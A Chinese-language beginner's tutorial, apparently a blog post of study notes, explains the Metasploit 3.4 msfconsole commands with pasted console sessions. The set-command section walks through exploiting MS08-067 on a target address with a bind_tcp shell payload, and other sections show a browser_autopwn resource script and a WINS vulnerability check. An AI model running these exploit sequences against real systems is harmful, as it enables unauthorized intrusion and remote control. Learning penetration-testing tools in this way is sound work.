Metasploit Framework 是非常優秀的開源滲透測試框架,像我這樣的菜鳥剛剛聽說,於是花時間好好研究了一下,整理了一下學習筆記,貼出來和大家一起交流。第一次寫文章又不足的地方大家多多指點。
Metasploit 滲透測試框架(MSF3.4)包含3功能模塊:msfconsole、msfweb、msfupdate。msfupdate用於軟件更新,建議使用前先進行更新,可以更新最新的漏洞庫和利用代碼。msfconsole 是整個框架中最受歡迎的模塊,個人感覺也是功能強大的模塊,所有的功能都可以該模塊下運行。msfweb 是Metasploit framework的web組件支持多用戶,是Metasploit圖形化接口。
msfconsole
msfconsole是MSF中最主要最常用的功能組件,使用集成化的使用方法,可以使用MSF中的所有命令和模塊,支持很多其它接口方式不支持的功能,啟動msfconsole如下圖所示:
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
|
msfconsole主要有以下特點:
支持命令完成功能(tab鍵)
支持外部命令執行(可以執行系統命令)
如下為使用ping命令:
| | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
msf>ping www.baidu.com ping www.baidu.com [*] exec: ping www.baidu.com
Pinging www.a.shifen.com [119.75.217.56] with 32 bytes of data: [119.75.217.56] with 32 bytes of data: Reply from 119.75.217.56: bytes=32 time=73ms TTL=49 …… Ping statistics for 119.75.217.56: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 73ms, Maximum = 94ms, Average = 79ms msf > |
使用流程
help命令
和其它基於命令行的程序一樣,使用?或者help可以顯示MSF所支持的命令,如下為MSF內置的全部命令。
msf > help Core Commands =============
Command Description ------- ----------- ? 顯示幫助菜單 back 從當前環境返回到主路徑 banner 顯示軟件旗標信息 cd 改變當前工作路徑 color 切換顏色 connect 連接主機,類似於telnet和nc exit 退出 help 顯示幫助菜單,即該頁面 info 顯示模塊的詳細信息 irb 進入irb腳本模式 jobs 顯示和管理作業 kill 結束一個作業 load 加載framework插件 loadpath 從指定路徑加載模塊 quit 退出 resource 運行文件中的命令 route Route traffic through a session save 保持數據 search 搜索模塊及名稱 sessions 顯示及轉存會話列表 set 設置變量值 setg 設置全局變量值 show 顯示給定類型的模塊或全部模塊 sleep 休眠 unload 卸載 framework 插件 unset 取消變量設置 unsetg 取消全局變量設置 use 根據名字選擇一個模塊 version 顯示版本
Database Backend Commands =========================
Command Description ------- ----------- db_services List all services in the database db_status Show the current database status db_sync Synchronize the database db_vulns List all vulnerabilities in the database db_workspace Switch between database workspaces |
show命令
在msfconsole中鍵入show,系統會顯示Metasploit的所有模塊,若想顯示某一類型的模塊可以加入模塊名稱,最常用的主要有一下三個:show payloads、show exploits、show auxiliary。
msf>show auxiliary
Auxiliary =========
Name Rank Description ---- ---- ----------- admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access admin/backupexec/registry normal Veritas Backup Exec Server Registry Access |
…… |
show auxiliary顯示Metasploit中的可用輔助模塊列表,這些輔助模塊包括scanner、dos、fuzzer等
show exploits 顯示Metasploit中包含的所有可以利用的攻擊類型列表。
show payloads 顯示Metasploit中可以在不同平台中可以在遠程主機執行的代碼,即shellcode。注:在使用具體的exploit時,只顯示該平台支持的payload,例如:在使用ms08-067時,只顯示windows平台可以使用的payload。
show options 顯示可利用模塊exploit的設置、條件、描述等。在具體的模塊中使用,后面use命令中會有實例。
show targets 顯示可利用模塊exploit支持的目標類型(操作系統、軟件版本等)。在具體的模塊中使用,后面use命令中會有實例。
show advanced 顯示可利用模塊exploit高級信息,自定義利用程序時使用。在具體的模塊中使用,后面use命令中會有實例。
show encoders 顯示可利用模塊exploit的編碼方式,在具體的模塊中使用,后面set命令中會有實例。
search命令
search 命令是最常用的命令之一,用於查找各種exploit、payload、auxiliary等,命令支持基於正則表達式的模糊查詢。如下為查找ms08-067實例:
msf > search ms08-067 [*] Searching loaded modules for pattern 'ms08-067'...
Exploits ======== Name Rank Description ---- ---- -----------nption |
info命令
info用於顯示特殊模塊的詳細信息,顯示內容包括該模塊的選項、目標及其它信息。以下是使用info命令顯示ms08-067實例:
msf > info windows/smb/ms08_067_netapi Name: Microsoft Server Service Relative Path Stack Corruption Version: 9839 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Rank: Great Provided by: hdm <hdm@metasploit.com> Brett Moore <brett.moore@insomniasec.com> Available targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal ……… 60 Windows XP SP3 Turkish (NX)
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload information: Space: 400 Avoid: 8 characters
Description: This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is …… on 2003, along with other platforms, is still in development.References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250 |
use命令
use命令用於使用特殊的模塊,如利用程序、shellcode或輔助模塊等。以ms08-067為例,模塊名稱必須包含完整的路徑,可以通過search命令搜索,以下還演示了show options、show targets命令的使用。
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name -- ---- 0 Automatic Targeting
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name -- ---- 0 Automatic Targeting ……… 60 Windows XP SP3 Turkish (NX) |
conect 命令
connect命令可以連接到遠程主機,連接方式和nc、telnet相同,可以指定端口,如下為connect命令演示:
msf > connect 127.0.0.1 4000 [*] Connected to 127.0.0.1:4000 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
E:\技術工具\cmd>msf > |
set命令
set命令用於當前使用模塊的選項和設置參數。
set payload xxx/xxx z設置溢出代碼
set encoder xxx/xxx 設置利用程序編碼方式
set target xxx 設置目標類型
set xxx xxx 設置參數
下面以ms08-067為例:
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set RHOST 192.168.10.10 RHOST => 192.168.10.10 msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp payload => windows/shell/bind_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.10.10 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The listen port RHOST 192.168.10.10 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) >exploit |
check命令
部分exploit支持check命令,該命令用於檢測目標系統是否存在漏洞,而不是進行溢出操作。如下:說明目標系統不存在漏洞
msf exploit(ms04_045_wins) > check [-] Check failed: The connection was refused by the remote host (192.168.1.114:42) |
設置全局變量
Metasploit 支持設置全局變量並可以進行存儲,下次登錄時直接使用。設置全局變量使用setg命令,unsetg撤銷全局變量,save用於保存全局變量。如下所示:
msf > setg LHOST 192.168.1.101 LHOST => 192.168.1.101 msf > setg RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > setg RHOST 192.168.1.136 RHOST => 192.168.1.136 msf > save Saved configuration to: /root/.msf3/config |
exploit/run命令
設置好各個參數后,可以使用exploit命令執行溢出操作,當使用了自定義auxiliary參數時,需要用run命令執行操作。
msf auxiliary(ms09_001_write) > run |
resource命令
resource命令可以加載資源文件,並按順序執行文件中的命令。
msf > resource karma.rc resource> load db_sqlite3 [-] [-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-] [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1 |
irb命令
運行irb命令,進入irb腳本模式,可以執行命令創建腳本。
msf > irb [*] Starting IRB shell... >> puts "BlackAngle!" BlackAngle! |